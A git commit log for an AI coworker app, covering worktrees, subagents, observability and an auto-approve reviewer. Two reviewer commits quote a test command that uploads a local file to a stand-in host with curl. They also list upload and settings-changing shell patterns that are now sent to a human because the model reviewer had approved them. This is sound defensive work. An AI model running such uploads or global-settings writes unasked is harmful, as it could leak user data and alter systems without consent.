Commit Graph
672 Commits
Author SHA1 Message Date
Rohit C Prasad d5c802d57a Sessions whose worktree was removed reopen in the repo root
Archive cleanup re-points the record and marks the worktree removed; a stale record is repaired at connect.
A resumed session reattaches its own branch instead of cutting a new one.
2026-11-07 16:14:41 -08:00
Rohit C Prasad c33fe00495 Feature worktrees for the Code coworker, with settings
start_worktree creates a branch + worktree by policy and moves the session into it.
Settings card: location, branch prefix, fetch-first, setup command, cleanup on archive.
Rail shows the branch; clean worktrees are removed when the session is archived.
2026-11-07 15:38:56 -08:00
Rohit C Prasad 7c7a2941ea code persona: promoted, with eight working principles and coding starters
Ships surfaced and enabled beside the everyday Coworker (supersedes the
2026-08-21 lineup for Code only); prompt rebuilt around the discipline of
a worktree per feature, explore-first subagents, proof by tests.
2026-11-07 15:14:51 -08:00
Rohit Prasad 6daa7816d0 Subagents keep a full record, plus observability fixes (#852)
* subagents: durable child transcripts and audit rows

Each child's full message log persists beside the run record (last 50,
purged with the session, served on demand); child tool calls land in the
session audit log stamped with the task id.

* observability: fixes from the review of the recorder feature

Live-step batches retry a failed flush and stay bounded; the Issues checks
run outside the recorder lock and only the ended turn is re-sequenced;
same-millisecond ordering is causal (two flaky tests fixed at the root);
remote automations load their routing before resolving an unknown id.
2026-11-07 14:26:17 -08:00
Rohit C Prasad ab7431fd8c Merge remote-tracking branch 'origin/main' into issue/ope-244-observability-recorder-store
# Conflicts:
#	surfaces/gui/src/modelNames.ts
2026-11-07 13:37:04 -08:00
Rohit Prasad 709805e5f0 Merge pull request #840 from andrewyng/issue/ope-250-models-page-loading
fix(models): Models & Keys shows loading and load errors, and loads faster (OPE-250)
2026-11-07 13:35:48 -08:00
Rohit Prasad af58873c7a Merge pull request #839 from andrewyng/issue/ope-249-reviewer-uploads-settings
fix(reviewer): uploads to unknown hosts and global settings changes ask the user in Auto-approve (OPE-249)
2026-11-07 13:35:44 -08:00
Rohit Prasad 1d3f734679 Merge pull request #837 from andrewyng/issue/ope-247-openai-model-prefix
fix(models): coworkers that list "openai:<model>" can pick it on an OpenAI-only machine (OPE-247)
2026-11-07 13:35:40 -08:00
Rohit Prasad 258623ab9a Merge pull request #841 from andrewyng/issue/ope-251-ws-shutdown-hang
fix(server): the backend no longer hangs at "Shutting down" when a browser tab stops reading (OPE-251)
2026-11-07 13:35:37 -08:00
Rohit C Prasad 9a66c1e3b3 fix(observability): close the gap with the background-subagents feature
Background children now record like explore's helper (steps under the spawn
step, tokens in the ledger); detached helpers are after_turn so the turn-end
sweep can't close a running child's step; context snapshot duck-types.
2026-11-07 12:50:29 -08:00
Rohit Prasad 22709a226b Merge branch 'main' into issue/ope-244-observability-recorder-store 2026-11-07 11:19:11 -08:00
Rohit Prasad e00f1a181c Merge branch 'main' into issue/ope-251-ws-shutdown-hang 2026-11-07 11:19:08 -08:00
Rohit Prasad af8d5796c8 Merge branch 'main' into issue/ope-250-models-page-loading 2026-11-07 11:19:05 -08:00
Rohit Prasad dc9d6da605 Merge branch 'main' into issue/ope-249-reviewer-uploads-settings 2026-11-07 11:19:02 -08:00
Rohit Prasad d29a44c149 Merge branch 'main' into issue/ope-248-powershell-exit-codes 2026-11-07 11:19:00 -08:00
Rohit Prasad 220fcd1750 Merge branch 'main' into issue/ope-247-openai-model-prefix 2026-11-07 11:18:57 -08:00
Rohit Prasad cf035e2d1d Background subagents and a smarter side panel (#850)
* engine: report window occupancy as a context snapshot

Estimated system/tools/conversation split + resolved window, on ready and
each assistant_message; provider-reported prompt total wins when present.

* gui: right rail glance layer — environment, context meter, header summaries

Environment block (machine/folder/sandbox) atop the rail; Context section with
proportional breakdown and compaction note; collapsed headers carry muted
summary values (amber only for attention); header actions show on hover.

* engine: async subagents — spawn_agent family, human-only approvals, expiry note

Background children (read_only/inherit) with parent-stream approvals and a
fail-closed spawn-time deadline whose tool result says the ask expired;
reports steer or wake the parent; child tokens fold via the agent_task notice.

* gui: Subagents section in the right rail

Active + done runs with seeded icon chips and ages, amber while one waits on
approval; fed by agent_task events + the sessions/tasks endpoint.

* engine: persist subagent runs in a supplemental store

agent_tasks.json beside the wake store, written on transitions: last 50
finished per session, 8KB report cap, live-at-restart runs marked lost.
Also fixes report delivery through call_soon_threadsafe (kwargs crash).

* gui: animal identity glyphs for subagents

Ten one-color silhouettes with punched-out eyes, eight color families per
theme; header chips on the collapsed section; done history compresses to a
glyph grid past ten runs.

* e2e: unshadow the compaction flow; align team/machine specs with the new rail

One compact-the-context handler (signal, divider, context stamp); team header
asserts the attention summary; machine-group locator scoped past the env block.
2026-11-07 10:27:00 -08:00
Devika Verma b50283ed36 fix(server): a websocket client that stopped reading no longer hangs shutdown
Ctrl+C hung at "Shutting down" when a browser tab had stopped reading its
websocket (a frozen or discarded tab, or after sleep) while the server kept
pushing events: the connection could never send its close frame, uvicorn
waited for it, and since Python 3.12 Server.wait_closed() waits for every
transport, so a second Ctrl+C could not force past it either.

ws_guard.py: a send on the GUI's websockets (/ws/session, /ws/events) that
cannot finish in 15 s (COWORKER_WS_SEND_TIMEOUT) aborts that connection, and
the launcher's GuardedServer aborts every websocket still open before uvicorn
waits for connections. Machine links keep no send timeout; they carry large
frames over slow networks.

Checked with a frozen browser tab on a live session: before, still running
40 s after Ctrl+Break; now it exits in 0.5 s.
2026-11-05 16:50:45 +05:30
Devika Verma 079939f635 perf(models): ask the local model servers at once, with a short loopback connect
On Windows a refused connection to a loopback port takes about 2 s, and
localhost tries ::1 and then 127.0.0.1; the six local servers and Ollama
were asked one after another, so a cold GET /v1/providers took 35 s here.
The first request to a loopback server now waits 0.3 s to connect (a server
elsewhere keeps the whole budget), the servers are asked at the same time,
and Ollama's /api/show calls too. The liveness cache is one dict updated in
place, so the parallel answers are all kept. Cold is now about 4 s here,
most of it Ollama answering; warm is a few ms.
2026-11-05 16:50:45 +05:30
Devika Verma c1dd0ed2ba fix(observability): keep the per-turn usage's model spelling the golden corpus defines (T3-4)
calculator.usage by_model is part of the shared golden corpus, which keeps
the recorded spelling (openai:gpt-5.1); faeb7022 changed it and three golden
screen-number cases failed. The GUI never shows that map; the session usage
table (by_model_parts), the ledger grouping and the turn lists still read one
name per model.
2026-11-05 16:43:29 +05:30
Devika Verma 7703132a17 fix(observability): one model, one name when recordings are read (T3-4)
Sessions saved before the model-prefix fix (PR #837) recorded one OpenAI
model as both openai:model-x and model-x, so Usage showed it twice and split
its tokens. Recordings are not rewritten; they are read through one rule:
drop the openai: prefix, keep every other. The server's model_names.py
canonical_model (and its SQL form for the ledger's model grouping) and the
GUI's canonicalModel in modelNames.ts are the same, line for line, as #837's
canonical_model and canonicalModel, so the two agree when both land.

Applied to the Usage grouping by model, each turn's models (Heaviest turns,
How it's been doing), the session usage by model and the Trace panel's
model labels.
2026-11-05 16:43:29 +05:30
Devika Verma b35851d3ab test(observability): neutral model ids in this batch's test data (T3-16)
The coworker page's Can use test and its fixture, the models-used line, the
short model names and the canonical model rule now use model-x style ids.
2026-11-05 16:43:28 +05:30
Devika Verma cffbce91fd fix(observability): the coworker page after the live check (T3-16)
(a) The history table has fixed columns and wrapping headers, so it stays
inside its card; a version kept without its files is still numbered (v1),
so its row is no longer the long ⓕ fingerprint that wrapped. (b) "too few
sessions to compare" is centred across Typical tokens and Approvals asked.
(d) The coworker's allowed models read "Can use: …" and the history's
"Models used in the last 30 days: …", which now go through the canonical
rule (only the openai: prefix is dropped, as canonical_model on
issue/ope-247). (e) The Default mode and Workspace lines are gone.
(c) and (f) were already fixed in 3942ed9e and 96aae337; the backend on 8765
was started before them and needs a restart to show them.
2026-11-05 16:43:28 +05:30
Devika Verma e609534ded fix(observability): How it's been doing reads for a person (T3-15)
Versions are v1, v2 (oldest first) with "· current" and the fingerprint
on hover; In use reads "Nov 2" for one day, "… – today" and "Nov 3 or
earlier"; the columns say Sessions, Typical tokens per session (hover: the
middle session's tokens), Approvals asked per session, Turns with issues and
Ratings, and "too few sessions to compare" is one note across both typical
columns. A first version says only "First version seen on this machine.",
has no Show diff ("Nothing to compare yet"), and its models are on their own
line, "Models used: X and N more" with the full list on hover, counting only
the coworker's own work (main and helpers). The default coworker's only
version is marked current again: its current fingerprint is now worked out
from the built agent, as sessions do, since it has no manifest.
2026-11-05 16:43:28 +05:30
Devika Verma cfa65df267 feat(observability): move between turns in the Trace panel: list, search, keys, strip (T3-14)
"Turn N of M" opens a list of the session's turns: number, start time, the
first words of your message, tokens, an issue badge and the wake reason;
click a line, or type a number and press Enter. A search box keeps the turns
whose message, answer, tool names, file names or issue titles match,
ignoring case, and says "No turns match." when none do. It reads only what
the GUI already holds: the conversation, split at each turn's answer by its
message id, and the recorded turns, which now list their warning checks.
← and → move between turns while the panel has focus and no text box does.
Under the picker, a thin bar per turn: its height is the turn's tokens, amber
when it has issues, the current one marked, click to jump, and a hover line
"Turn N · 12.3k tokens · 1 issue"; past 120 turns the bars are thin and the
strip scrolls.
2026-11-05 16:43:27 +05:30
Devika Verma 2a903b7258 fix(observability): stop the Phase 3 background work before the stores close (T3-3)
At stop, the queued series and task checks are dropped (the scope pool's
thread is not a daemon, so Python waited for it at exit and it ran each
queued check on a closed store), and the start-up re-check and ledger
backfill stop between sessions. The hang itself did not reproduce: Ctrl+Break
exited in 1-1.5 s with the events and session websockets open, with a turn
running, and on a snapshot of the 78 MB test state, on this build and on
8783c340.
2026-11-05 16:43:27 +05:30
Devika Verma 77653c0ff7 feat(observability): a Ratings card on Usage (T3-10)
The period's 👍 and 👎, how often each reason was picked, and the turns
rated 👎 with their note, how many of their steps were auto-approved, and a
Trace link. GET /v1/observability/ratings gives it, for the same turns the
page counts and narrowed to one coworker when one is picked. No charts or
trends; those stay with Langfuse.
2026-11-05 16:43:26 +05:30
Devika Verma c730ce6dae fix(observability): open a coworker's page from its name, the default's too (T3-12)
In Settings ▸ Coworkers the name opens the coworker's page for every
coworker, OpenWorker included. In Usage ▸ By coworker each name opens that
coworker's page at How it's been doing; Back returns to Activity. A test
checks the default coworker's page and history answer for its id.
2026-11-05 16:43:26 +05:30
Devika Verma 07f394db99 fix(observability): Auto-approve is one table, a row per reviewer (T3-6)
Each reviewer is named in full (Session model, Decision model · OpenAI
Decisions, Decision model · Jev) with its own checks, overrides, median
time and model tokens, and a Total row carries the shadow note. The server
gives overridden and tokens per reviewer in by_reviewer: an override counts
for the reviewer its turn ran with.
2026-11-05 16:43:25 +05:30
Devika Verma 931a025b8d fix(reviewer): settings changes outside the folders ask the user in Auto-Approve
Round-2 F-5, second half: with the session model as reviewer,
Auto-Approve allowed `git config --global user.name tester` without a
card. The protected-file floor lets plain git keys through and ignores
--global, and nothing in code covered other user-level settings, so the
verdict was the model's alone.

Now, in Auto-Approve, a shell command that changes the user's settings
outside the working folders goes to a person, not the reviewer:
`git config --global|--system` writes, npm / pnpm / yarn / pip config
writes (not npm/pnpm `--location project` or pip `--site`), setx, .NET
SetEnvironmentVariable for User or Machine, registry writes, and writes
to shell profiles or user-level config files (~/.bashrc, $PROFILE,
~/.gitconfig) that lie outside every folder. Inline shells (`bash -c`,
`powershell -Command`, `cmd /c`) are read too. Reading settings,
repo-local git config and sourcing a profile are unchanged, as are
Interactive, Custom, full access, the user's own command allowlist and
an approved plan step for the exact command.

Eval corpora: gate-081 now records human_only (its secure answer);
review-047 and review-222 are tagged settings-floor and left out of the
score; legacy danger-029/030 join the shadow-eval exact list.
2026-11-05 15:14:50 +05:30
Devika Verma baa6fc8a4e fix(reviewer): uploads to a host nobody granted ask the user in Auto-Approve
Round-2 F-5: with the session model as reviewer, Auto-Approve allowed
`curl -X POST https://backup-1.example.invalid/upload --data-binary @notes.txt`
without a card. The reviewer's instructions already call that "unsure"
(a destination the user never gave), but the verdict was the model's
alone, and the secrets floor (OPE-236) only fires for secret-looking
files.

Now, in Auto-Approve, a shell command that sends local files or data
to a network host goes to a person, not the reviewer, unless the user
granted every host it sends to: the machine's allowed sites, a site or
domain allowed for this session, the settings' allowed domains, or an
approved plan step for this exact upload (OPE-237). A grant leaves the
command to the reviewer as before; it does not auto-allow.

"Local data" is read from the command text (review_facts.
shell_upload_hosts): a file or stdin as the body or an upload
(`@file`, `-F f=@x`, `-T`, `--post-file`, `-InFile`, httpie `f@x`), a
variable or command output in a network client's arguments, an scp /
rsync / sftp copy to a remote, data piped or redirected into nc. Typed
text (`-d grant_type=...`) and a bare `-X POST` stay with the reviewer.
Interactive, Custom and full-access modes, and the user's own command
allowlist, are unchanged.

Eval corpora: gate-075 now records `human_only` (still short of its
secure `hard_deny`); reviewer rows the floor now takes are tagged
`upload-floor` and left out of the score; the reviewer harness gives a
row's allowed domains and plan-step fact to the engine as grants.
2026-11-05 15:14:50 +05:30
Devika Verma 27881f445b fix(shell): a failed PowerShell cmdlet no longer reports an earlier program's exit code
`$LASTEXITCODE` keeps its value across calls, so after `cmd /c exit 3`
every later failing cmdlet (a missing `Get-Item`, say) reported exit
code 3, even several calls later.

When the parse check finds no errors, the same line now clears
`$LASTEXITCODE` just before the command runs. A failure reports a
native program's code only if one ran in this command, else 1. Like
bash, a later call no longer sees the previous call's code; each result
carries its own.
2026-11-05 15:14:47 +05:30
Devika Verma d0c47ea754 fix(shell): a multi-line PowerShell command no longer hangs
PowerShell's `-Command -` REPL waits for an empty line before it runs a
statement that spans lines (`foreach (...) {` ... `}`), like an
interactive console. Nothing sent one, so the trailer was read into the
open block, the marker never came, and the call hung until its timeout.

After a command that spans lines, one empty line is now sent before the
trailer. The parse check guarantees the command is complete, so the
line only ends it. Single-line commands are sent as before; the last
line's exit code still decides, and state defined across lines
persists.
2026-11-05 15:14:47 +05:30
Devika Verma df69eb9997 fix(shell): a PowerShell parse error is exit code 1, not 0
PowerShell's `-Command -` REPL skips a line it cannot parse, so the trailer's
`$?` still held the previous trailer's success and `run_shell` returned
exit_code 0 (round-2 F-8: `curl ... --data-binary @notes.txt` is splatting
to PowerShell). An unclosed quote also swallowed the trailer and hung until
the timeout.

The executor now parses each command in the running shell first, with
PowerShell's own parser (the command is sent as base64). On errors nothing
runs and the result is exit code 1 with PowerShell's error text, as
`powershell -Command` gives. The check's variables are removed again.
Covers direct mode and the sandbox tool runner, which share the executor.
2026-11-05 15:14:47 +05:30
Devika Verma 6500fa0ce1 Treat openai:<model> and <model> as the same model
Coworker manifests list models as `openai:gpt-5.6-sol`, while the machine's
model list names OpenAI models bare (`gpt-5.6-sol`). The composer compared
the two as plain strings, so on a machine with only an OpenAI key every
such coworker showed "No model" and could not be used. The server made the
same comparison, so a session or team worker could record the model under
either name, which split one model into two in Usage.

One rule now decides model identity: a prefix naming the default provider
is dropped, every other prefix is kept. It lives in
`coworker/providers/router.py` (`canonical_model`) and
`surfaces/gui/src/modelNames.ts` (`canonicalModel`).

- Composer: `coworkerModels` picks the picker list, the unrunnable entries
  and the model a fresh draft binds to, using that rule.
- Event-started session settings: same rule for the coworker's model list.
- Server: `resolve_persona_model` and `resolve_worker_model` compare and
  return the canonical id, so new sessions and team workers record one
  name per model. Existing records keep the name they were saved with.
2026-11-05 14:14:48 +05:30
Devika Verma 7a087f9d0c test(observability): Phase 3 tests use recent turn dates, not 1970
A store with the background writer runs its retention sweep on its first
tick. A turn dated 1970 is past the 30 days, so when that sweep landed
between a test's write and its read, the turn was gone (CI: test_turns_
recorded_before_the_ledger_are_filled_in, `assert [] == ['T0']`).

The four tests that write such turns to a SessionManager's store now date
them an hour ago: the ledger backfill, lead polling, the team summary
cache and the resumed automation turn. The product is unchanged.
2026-11-05 11:42:12 +05:30
Devika Verma 32cd6f2f10 chore(observability): signals.yaml 0.7 from the shared docs (scanners.not_found)
The app's copy of signals.yaml, the recording-format schema and the
golden corpora (phase 1 to 3) now match docs commit d709ba4. 0.7 takes
the not-installed rule that was local to this copy; its data is the
same, so no answer changes, only the version in the expected files.

The engine records a shell step's scanner through one function,
scopes.recorded_scanner, that reads both the result's output and its
error, as 0.7 says. The new golden vector scanner-not-found.json (ten
steps) runs through that same function.
2026-11-04 23:20:15 +05:30
Devika Verma 847aca2f84 fix(observability): Phase 3 review before merging (P3B-2 to P3B-7)
- P3B-2: the rating export picks the unsent ratings in the query, so it
  keeps moving after the first 100.
- P3B-3: an offline machine's cached Usage answer is kept per request
  (period, grouping, coworker), and served only for that same request.
- P3B-4: "same approval asked twice" points at the repeat card, in the
  Issues tab and in TeamView's event line alike.
- P3B-5: the team summary reads the members' turns once, finds the
  hand-off step with one indexed read, reads only the asked-about tool
  steps for approval cards, and keeps its Phase 3 part and the team's
  task checks until a member's recording, the board or the journal
  changes.
- P3B-6: the usage ledger is worked out after the recording's own
  transaction, one turn at a time, so a ledger error cannot throw away
  recorded steps.
- P3B-7: a run's turn resumed after an answered card keeps the run's
  `automation` (TD3-23: a run's own turns); a later follow-up does not.
2026-11-04 21:48:44 +05:30
Devika Verma 2213c77bc6 fix(observability): a scanner that is not installed did not scan (P3B-1)
On Windows, PowerShell exits 1 for a command it does not know, the
same code most scanners use for found something, so a missing semgrep
read as a scan that ran and found something: scan_missing and
scanner_failed stayed quiet and the coverage list showed a scan that
never happened.

When recording a shell step that names a scanner, the engine now
records scanner null (no scan ran) when the command exited 127 or 9009,
or a line of its output names the scanner with a not-found phrase (is
not recognized as, command not found, : not found,
CommandNotFoundException, no module named, could not determine
executable to run). The rule is in signals.yaml scanners.not_found so
the Rust SDK can apply the same one.
2026-11-04 17:44:46 +05:30
Devika Verma 75b4ecbcfb fix(observability): a changed rating clears the earlier note in Langfuse
Langfuse merges a score sent again under the same id, so leaving the
comment out kept the earlier rating's note. The score now always carries
a comment, empty when no note is sent. Found against a local Langfuse.
2026-11-04 17:42:06 +05:30
Devika Verma a5ffefe6bf fix(observability): a turn on a new event loop kept its model call; Phase 3 open items
- The engine's Stop flag is made on the turn's own event loop. A turn on
  another loop (each test-client socket has one) could not wait on the
  old flag, read the stream as stopped and ended with an empty answer
  while its model call ran on outside the turn, so the ledger missed it
  and the totals stopped matching the pill.
- The evidence card reads each scanner's own found-something codes.
- The Usage page narrows to one coworker; the turns and approver
  endpoints take persona_id.
- A joined machine stamps its turns with the id the controller lists it
  under, from the welcome itself.
- The Scheduled view lists joined machines' automations and routes every
  call and run session to their machine.
2026-11-04 16:58:31 +05:30
Devika Verma 7515d30409 feat(gui): Phase 3 screens: Usage tab, turn footer and ratings, coworker history, team wakes, run health
Activity gains a Log | Usage tab: tokens per day by purpose with the
viewer's own days, by coworker, by machine (offline as of), heaviest
turns, the Auto-approve strip and the proxy line. Each answer gets a
footer with time, tokens this turn, issues and Steps, and a rating card.
The coworker page shows How it's been doing per version with What
changed and Show diff. TeamView gains the wake split, team events and
the coverage and evidence blocks. The Scheduled view shows run health,
tokens and issues, and the failed-in-a-row banner. en and zh strings.

Engine: footers carry started_at; team summary items carry their
coverage and findings in the shape the cards read; cap and deferral
tests.
2026-11-04 15:57:49 +05:30
Devika Verma 36e5a1502c feat(observability): Phase 3 evidence links, verifies link, coverage, stored scope checks, rollup cache
Journal entries keep the tool call that wrote them and their evidence
calls, outside the hash chain; journal_append takes severity and
evidence and links the session's scans by default. Board items gain the
verifies link kind and hand-offs a checked coverage report. Built-in
security coworkers declare coverage.

Series and task checks (lead_polling, failed_in_a_row, the coverage
checks, same_approval_twice, reviewed_before_prereq) are worked out at
each turn end and stored with the turn they point at, kept across a
re-check. TeamView's summary gains coverage per item.

The desktop keeps each machine's last Usage rollup and serves it,
labelled cached as of, while the machine is offline. Turns recorded
before the ledger are filled in at start.
2026-11-04 15:32:14 +05:30
Devika Verma 77c47bb176 feat(observability): Phase 3 engine: 1.3 fields, usage ledger, series and task checks
Record format 1.3: turn.wake at every entry point (team gate, timers,
durable resume, scheduler, user turns), turn.automation with the run's
real trigger, stamp.persona_id, persona_coverage and team, and the
scanner and result_sha256 facts on tool steps.

The turn_usage ledger in recordings.db, worked out from the stored turn,
its steps and its Issues result, kept 90 days and through a session's
delete. Rollup, heaviest-turns and approver endpoints with the viewer's
day boundaries; the coworker page rows by fingerprint; team wake split
and events; automation run health and the failed-in-a-row banner.

Feedback store, endpoints and export (Langfuse score, OTLP
openworker.feedback span); export names openworker.persona.id and .fp,
wake reason, team role and automation; persona_versions with name and
file copies.

signals.yaml 0.6 with scopes; golden/phase3 copied into the test corpora
and passing as an engine test; golden/phase2 refreshed for 0.6.
2026-11-04 15:17:40 +05:30
Devika Verma 8783c340fd Merge origin/main into the observability branch
Conflicts: the session title call keeps main's retry for models that
cannot turn reasoning off (OPE-201) and the recording's "title" tag on
both calls. The engine's waits and tool calls keep the recording code and
time with perf_counter, as main now does (OPE-245).
2026-11-04 14:03:20 +05:30
Devika Verma 7610424642 fix(observability): Phase 1 and 2 problems found by the Phase 3 design
- P3-1: the team rail's token total adds up the lead's and workers'
  recordings, so it matches their Steps pills (titles and auto-approver
  calls included). Sessions with no recording keep the old count.
- P3-3: the backend closes a manual run when its turn ends, so it no
  longer depends on the window. At start, runs an earlier app left
  "running" are closed, or marked failed if the app stopped mid-turn.
- P3-4: at start, a background pass works out Issues for finished turns
  with no result or one from an older signals.yaml (TD3-8). Results are
  stored as seen.
- P3-5: the store's usage_reported column is filled for model steps only.
- P3-6: "sent today" counts from the viewer's midnight, sent by the
  desktop as day_start_ms (TD3-2).
- P3-7: a model call with no purpose is "unattributed", not "main".
2026-11-04 13:59:01 +05:30
Devika Verma c7c5fbd2ed fix(observability): fixes from manual testing of Phase 1 and 2 (engine side)
- The context's sandbox note is recorded only when the sandbox's note text
  was really added; with no sandbox or runner-local it is false (F-1).
- Every non-empty line of your instructions counts as a rule, with or
  without a leading dash (F-5).
- Model calls made from outside any session (purpose proxy) are counted
  per day for the Observability status (F-4).
- Each issue and "fine" line stores the facts its sentence needs, so the
  screen can say it in the reader's language (TD2-3, C-2).
- A server test skips the live Steps batch that can land after turn_done
  (C-1).
2026-11-04 13:25:41 +05:30
Devika Verma bfefc54943 merge(observability): bad_arguments fix into Phase 2 2026-11-03 13:42:20 +05:30
Devika Verma daaf32d908 fix(observability): arguments that do not fit a tool are bad_arguments, not a tool failure
A model that gives a tool an argument it does not take, or leaves out a
required one, fails at the call itself. The recording marked that `raised`,
so "A tool failed" fired on the model's mistake (four Wrong flags in the
labelling run). The engine now checks the arguments against the tool's own
parameters and records `bad_arguments`, so the invalid-arguments check
reports it, worded "The model sent arguments that do not fit {name}."
Signals 0.5; golden set rebuilt.
2026-11-03 13:41:46 +05:30
Devika Verma 1670568138 merge(observability): OB-7 into Phase 2 (OB-3, OB-6, OB-13, OB-14)
# Conflicts:
#	coworker/observability/engine_hooks.py
#	surfaces/gui/src/components/StepsPanel.tsx
2026-11-03 13:36:01 +05:30